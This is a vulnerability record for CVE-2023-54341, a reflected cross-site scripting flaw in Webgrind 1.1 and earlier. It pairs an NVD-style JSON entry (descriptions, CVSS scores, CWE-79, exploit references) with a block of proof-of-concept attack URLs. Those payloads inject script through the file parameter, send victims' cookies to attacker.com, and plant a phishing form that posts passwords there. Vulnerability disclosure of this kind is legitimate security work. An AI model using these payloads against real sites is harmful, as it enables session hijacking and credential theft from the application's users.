CVE-2023-54341

<!-- CVE-2023-54341 Webgrind Reflected XSS PoC --> <!-- Target: Webgrind <= 1.1 --> <!-- Attack Vector: index.php?file=<script>...</script> --> <!-- Basic XSS PoC --> http://target/webgrind/index.php?file=<script>alert(document.cookie)</script> <!-- Cookie Theft PoC --> http://target/webgrind/index.php?file=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script> <!-- Session Hijacking PoC --> http://target/webgrind/index.php?file=<img src=x onerror="this.src='https://attacker.com/log?cookie='+document.cookie"> <!-- Phishing Injection PoC --> http://target/webgrind/index.php?file=<script>document.body.innerHTML+='<form action="https://attacker.com/phish" method="POST"><input name="pwd" type="password"/></form>'</script>

{"cve": {"id": "CVE-2023-54341", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:16:02.127", "lastModified": "2026-02-03T19:20:03.940", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Webgrind 1.1 and before contains a reflected cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious scripts via the file parameter in index.php. The application does not sufficiently encode user-controlled inputs, allowing attackers to execute arbitrary JavaScript in victim's browsers by crafting malicious URLs."}, {"lang": "es", "value": "Webgrind 1.1 y anteriores contiene una vulnerabilidad de cross-site scripting reflejado que permite a atacantes no autenticados inyectar scripts maliciosos a través del parámetro file en index.php. La aplicación no codifica suficientemente las entradas controladas por el usuario, permitiendo a los atacantes ejecutar JavaScript arbitrario en los navegadores de las víctimas mediante la creación de URL maliciosas."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:webgrind_project:webgrind:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.1", "matchCriteriaId": "97D0C87F-9C01-457D-8DFC-FC6A8AB80966"}]}]}], "references": [{"url": "http://github.com/jokkedk/webgrind/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51074", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/webgrind-reflected-cross-site-scripting-xss-via-file-parameter", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/51074", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit"]}]}}